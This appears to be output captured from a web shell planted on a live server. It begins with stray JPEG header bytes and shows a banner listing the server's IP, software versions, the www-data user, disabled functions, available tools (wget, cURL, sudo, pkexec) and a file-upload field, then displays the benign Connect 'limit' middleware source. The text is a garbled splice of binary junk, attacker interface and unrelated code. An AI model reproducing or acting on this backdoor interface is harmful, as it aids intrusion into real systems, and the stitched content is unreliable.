????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.145.58.30 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/lib/nodejs/connect/middleware/ |
Upload File : |
/*! * Connect - limit * Copyright(c) 2011 TJ Holowaychuk * MIT Licensed */ /** * Limit request bodies to the given size in `bytes`. * * A string representation of the bytesize may also be passed, * for example "5mb", "200kb", "1gb", etc. * * Examples: * * var server = connect( * connect.limit('5.5mb') * ).listen(3000); * * TODO: pause EV_READ * * @param {Number|String} bytes * @return {Function} * @api public */ module.exports = function limit(bytes){ if ('string' == typeof bytes) bytes = parse(bytes); if ('number' != typeof bytes) throw new Error('limit() bytes required'); return function limit(req, res, next){ var received = 0 , len = req.headers['content-length'] ? parseInt(req.headers['content-length'], 10) : null; // deny the request function deny() { req.destroy(); } // self-awareness if (req._limit) return next(); req._limit = true; // limit by content-length if (len && len > bytes) { res.statusCode = 413; res.end('Request Entity Too Large'); return; } // limit req.on('data', function(chunk){ received += chunk.length; if (received > bytes) deny(); }); next(); }; }; /** * Parse byte `size` string. * * @param {String} size * @return {Number} * @api private */ function parse(size) { var parts = size.match(/^(\d+(?:\.\d+)?) *(kb|mb|gb)$/) , n = parseFloat(parts[1]) , type = parts[2]; var map = { kb: 1024 , mb: 1024 * 1024 , gb: 1024 * 1024 * 1024 }; return map[type] * n; }